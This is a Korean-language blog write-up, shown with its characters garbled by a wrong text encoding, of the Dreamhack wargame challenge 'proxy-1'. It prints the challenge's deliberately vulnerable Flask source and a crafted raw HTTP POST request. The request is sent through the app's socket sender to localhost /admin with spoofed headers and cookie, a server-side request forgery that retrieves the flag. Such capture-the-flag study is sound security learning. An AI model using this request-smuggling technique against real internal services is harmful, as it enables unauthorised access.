๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[Dreamhack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น : proxy-1

์„ ๋‹ฌ 2023. 10. 16. 16:16
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/13

 

proxy-1

Raw Socket Sender๊ฐ€ ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์š”๊ตฌํ•˜๋Š” ์กฐ๊ฑด์„ ๋งž์ถฐ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค. Reference Introduction of Webhacking

dreamhack.io

 

๋ฌธ์ œ ์„ค๋ช…

Raw Socket Sender๊ฐ€ ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.
์š”๊ตฌํ•˜๋Š” ์กฐ๊ฑด์„ ๋งž์ถฐ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค.

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

ํ’€์ด

๋ญ”์ง€ ๋ชจ๋ฅด๊ฒ ๋‹ค!

 

GPT์˜ ๋„์›€์„ ๋ฐ›์•„ ๋ณธ ํผ์—์„œ data๋ถ€๋ถ„์— HTTP๋ฉ”์„ธ์ง€๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋œ๋‹ค๋Š” ๊ฑธ ์•Œ๊ฒŒ ๋˜์—ˆ๋‹ค

/socket ๊ฒฝ๋กœ๋Š” POST ์š”์ฒญ์„ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ ๋ฐ ํฌํŠธ๋ฅผ ์ง€์ •ํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ ์–ด๋–ค ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ด๋Š” ๊ฒƒ์€ ์‚ฌ์šฉ ์‚ฌ๋ก€ ๋ฐ ํ•ด๋‹น ์„œ๋ฒ„์—์„œ ์ง€์›ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ ๋ฐ ์„œ๋น„์Šค์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ˆœ์„œ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค:

1. **Host**: ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์˜ IP ์ฃผ์†Œ๋‚˜ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค.
2. **Port**: ํ˜ธ์ŠคํŠธ์— ์—ฐ๊ฒฐํ•  ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์›น ์„œ๋ฒ„์˜ ๊ฒฝ์šฐ 80 (HTTP) ๋˜๋Š” 443 (HTTPS) ํฌํŠธ๊ฐ€ ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์„œ๋น„์Šค์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
3. **Data**: ๋ณด๋‚ด๋ ค๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ ํ˜•์‹ ๋ฐ ๋‚ด์šฉ์€ ์„œ๋น„์Šค์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฐ์ดํ„ฐ๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ž…๋ ฅํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, HTTP GET ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
- Host: ์›น ์„œ๋ฒ„์˜ IP ์ฃผ์†Œ ๋˜๋Š” ๋„๋ฉ”์ธ ์ด๋ฆ„
- Port: 80 (HTTP) ๋˜๋Š” 443 (HTTPS)
- Data: HTTP GET ์š”์ฒญ ๋ฉ”์‹œ์ง€ (์˜ˆ: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")

์ด ์ฝ”๋“œ๋Š” ์ž…๋ ฅ๋œ ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๋กœ ์†Œ์ผ“ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•˜๊ณ , ์ž…๋ ฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ํ•ด๋‹น ์†Œ์ผ“์„ ํ†ตํ•ด ๋ณด๋‚ด๊ณ , ๊ทธ์— ๋Œ€ํ•œ ์‘๋‹ต์„ ๋ฐ›์•„์„œ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐ์ดํ„ฐ๋Š” ์„œ๋ฒ„์—๊ฒŒ ์–ด๋–ค ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ์ง€์‹œํ•˜๊ธฐ ์œ„ํ•œ ๋ฐ์ดํ„ฐ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ์–ด๋–ค ์ข…๋ฅ˜์˜ ์š”์ฒญ์„ ์˜ˆ์ƒํ•˜๋Š”์ง€์— ๋”ฐ๋ผ ๋ฐ์ดํ„ฐ๋ฅผ ์ž‘์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด ๋ฌธ์ œ์— ์žˆ๋Š” ์กฐ๊ฑด์— ๋งž๊ฒŒ ๋ฐ์ดํ„ฐ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์ž

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG
 
 app.run(host='0.0.0.0', port=8000)

 

host๋Š” 127.0.0.1 ์ด๊ณ  port๋Š” 8000์ด๋‹ค

data๊ฐ’๋„ ์กฐ๊ฑด์— ๋งž๊ฒŒ ์ž‘์„ฑํ–ˆ๋‹ค

POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true

userid=admin

 

Admin id ๋ผ๋Š” ์—๋Ÿฌ๊ฐ€ ์ƒ๊ฒผ๋‹ค userid=admin ๋ผ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๋Œ€๋กœ ๋ณด๋‚ด์ง€ ๋ชปํ•˜๊ณ  ์žˆ๋‹ค

    if request.form.get('userid') != 'admin':
        return 'Admin id'

 

request.form.get()์„ ์ดํ•ดํ•˜๋ ค๋ฉด ๋ฌธ์ œ์ฝ”๋“œ์— ์žˆ๋Š” ๋น„์Šทํ•œ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ๋œ๋‹ค

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

/socket post์—์„œ form.get์ด ์ž‘๋™ํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ post /socket ํ†ต์‹ ์„ ์ž ์‹œ ์‚ดํŽด๋ณด์ž

 

host,port,data๊ฐ€ request.form ํ˜•ํƒœ๋กœ ์ž˜ ๋“ค์–ด๊ฐ€ ์žˆ๋Š”๋ฐ, ์ด ๊ฒฝ์šฐ ํ—ค๋”์— Content-Type๊ณผ Content-Length๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค

๋”๋ณด๊ธฐ

application/x-www-form-urlencoded: ์ด ํ˜•์‹์€ HTML ํผ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ๊ณผ ์œ ์‚ฌํ•œ ๋ฐฉ์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค. ์ฃผ๋กœ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํผ ๋ฐ์ดํ„ฐ๋ฅผ ์„œ๋ฒ„๋กœ ์ „์†กํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

application/json: ์ด ํ˜•์‹์€ JSON(JavaScript Object Notation) ํ˜•์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. JSON์€ ๋ฐ์ดํ„ฐ๋ฅผ ๊ตฌ์กฐํ™”ํ•˜๊ณ  ํ‘œํ˜„ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

application/xml: ์ด ํ˜•์‹์€ XML(Extensible Markup Language) ํ˜•์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. XML์€ ๊ตฌ์กฐํ™”๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ตํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

text/plain: ์ด ํ˜•์‹์€ ํ…์ŠคํŠธ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ํŠน๋ณ„ํ•œ ๊ตฌ์กฐํ™” ์—†์ด ์ผ๋ฐ˜ ํ…์ŠคํŠธ๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

multipart/form-data: ์ด ํ˜•์‹์€ ํŒŒ์ผ ์—…๋กœ๋“œ์™€ ๊ฐ™์€ ๊ฒฝ์šฐ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ํผ ๋ฐ์ดํ„ฐ ๋ฐ ํŒŒ์ผ์„ ํ•จ๊ป˜ ์ „์†กํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด ๋ฐ์ดํ„ฐ์— ๋„ฃ์„ post /admin ํ†ต์‹ ์—์„œ๋„ request.form.get('userid') ๊ฐ€ admin์ด ๋  ์ˆ˜ ์žˆ๋„๋ก Content-Type์„ application/x-www-form-urlencoded๋กœ ์ •ํ•˜๊ณ  ๋™์‹œ์— Content-Length๋„ ์ •ํ•ด์ฃผ์ž (userid=admin ์ด๋ฏ€๋กœ 12๊ธ€์ž๋กœ ๋’€๋‹ค)

 

POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

userid=admin

 

๋ฐ˜์‘ํ˜•